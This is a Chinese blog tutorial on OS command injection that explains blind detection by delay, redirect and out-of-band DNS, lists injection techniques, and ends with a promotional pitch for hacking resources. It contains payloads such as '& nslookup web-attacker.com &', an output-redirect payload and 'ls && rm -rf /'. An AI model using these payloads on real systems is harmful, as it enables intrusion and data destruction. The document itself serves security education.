什么是操作系统命令注入
命令注入允许攻击者在运行应用程序的服务器上执行任意操作系统命令,还可以向其他系统进行横向渗透。当Web应用在调用系统命令的函数时,如果没有对用户输入进行严格的过滤和验证,用户输入的恶意命令字符串就可能被作为系统命令的参数拼接到命令行中并执行,从而造成命令注入漏洞。
操作系统常用命令
命令目的 |
Linux |
Windows |
当前用户的名称 |
whoami |
whoami |
操作系统 |
uname -a |
ver |
网络配置 |
ifconfig |
ipconfig /all |
网络连接 |
netstat -an |
netstat -an |
正在运行的进程 |
ps -ef |
tasklist |
命令行盲注漏洞
使用时间延迟检测盲目 OS 命令注入可以使用注入的命令来触发时间延迟,从而可以根据应用程序响应所需的时间来确认命令是否已执行。如:sleep。
通过重定向输出来利用盲目 OS 命令注入可以将注入的命令的输出重定向到 Web 根目录中的文件中,然后可以使用浏览器检索该文件。如:在这个/var/www/images/文件夹下可写入文件,可以将注入命令的输出重定向到此文件夹中的文件,然后使用图像加载 URL 检索文件的内容。这就需要使用whoami命令
||whoami>/var/www/images/output.txt||
还可以使用 OAST 技术,使用注入的命令来触发与您控制的系统的带外网络交互。如:
& nslookup web-attacker.com &
nslookup 命令对指定域进行 DNS 查找
命令行注入攻击的常见方法
1. 直接命令注入
攻击者通过在输入字段中插入操作系统命令来执行这些命令。例如:可以输入类似& echo &字符串来执行额外的命令。
2. 命令拼接:
通过在输入字段中插入命令分隔符(如&&、||、&等)来拼接多个命令。例如,输入ls && rm -rf /可以列出目录内容并删除根目录下的所有文件。
3. 命令替换:
通过在输入字段中插入命令替换符号(如反引号 ` ```)来执行嵌套命令。例如,输入 echo ``可以执行嵌套的echo 命令。Shell会尝试执行反引号内的命令并将其输出作为命令的一部分。
4. 文件重定向:
通过在输入字段中插入文件重定向符号(如>、>>等)来重定向命令输出。例如,输入echo hi > file.txt 可以将hi写入file.txt 文件。
5. 环境变量注入:
通过在输入字段中插入环境变量(如$VAR、%VAR%等)来操纵命令行为。例如,输入echo $PATH可以显示系统路径。
6. URL编码注入:
通过在输入字段中插入URL编码的命令来绕过输入验证。例如,输入%26 echo hi %26可以绕过简单的输入过滤。
7. 利用第三方库:
通过在输入字段中插入利用第三方库的命令来执行恶意操作。例如,如果应用程序使用了不安全的第三方库,可以利用这些库的漏洞来执行命令。
8. 利用系统变量:
通过在输入字段中插入系统变量(如 ( c o m m a n d ) 、 (command)、 (command)、{command}等)来执行嵌套命令。例如,输入echo $(ls)可以执行ls命令并显示其输出。
题外话
黑客&网络安全如何学习
今天只要你给我的文章点赞,我私藏的网安学习资料一样免费共享给你们,来看看有哪些东西。
1.学习路线图
攻击和防守要学的东西也不少,具体要学的东西我都写在了上面的路线图,如果你能学完它们,你去就业和接私活完全没有问题。
2.视频教程
网上虽然也有很多的学习资源,但基本上都残缺不全的,这是我自己录的网安视频教程,上面路线图的每一个知识点,我都有配套的视频讲解。
内容涵盖了网络安全法学习、网络安全运营等保测评、渗透测试基础、漏洞详解、计算机基础知识等,都是网络安全入门必知必会的学习内容。
(都打包成一块的了,不能一一展开,总共300多集)
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
🐵这些东西我都可以免费分享给大家,需要的可以点这里自取👉:网安入门到进阶资源
3.技术文档和电子书
技术文档也是我自己整理的,包括我参加大型网安行动、CTF和挖SRC漏洞的经验和技术要点,电子书也有200多本,由于内容的敏感性,我就不一一展示了。
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
🐵这些东西我都可以免费分享给大家,需要的可以点这里自取👉:网安入门到进阶资源
4.工具包、面试题和源码
“工欲善其事必先利其器”我为大家总结出了最受欢迎的几十款款黑客工具。涉及范围主要集中在 信息收集、Android黑客工具、自动化工具、网络钓鱼等,感兴趣的同学不容错过。
还有我视频里讲的案例源码和对应的工具包,需要的话也可以拿走。
🐵这些东西我都可以免费分享给大家,需要的可以点这里自取👉:网安入门到进阶资源
最后就是我这几年整理的网安方面的面试题,如果你是要找网安方面的工作,它们绝对能帮你大忙。
这些题目都是大家在面试深信服、奇安信、腾讯或者其它大厂面试时经常遇到的,如果大家有好的题目或者好的见解欢迎分享。
参考解析:深信服官网、奇安信官网、Freebuf、csdn等
内容特点:条理清晰,含图像化表示更加易懂。
内容概要:包括 内网、操作系统、协议、渗透测试、安服、漏洞、注入、XSS、CSRF、SSRF、文件上传、文件下载、文件包含、XXE、逻辑漏洞、工具、SQLmap、NMAP、BP、MSF…
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
🐵这些东西我都可以免费分享给大家,需要的可以点这里自取👉:网安入门到进阶资源
————————————————
版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。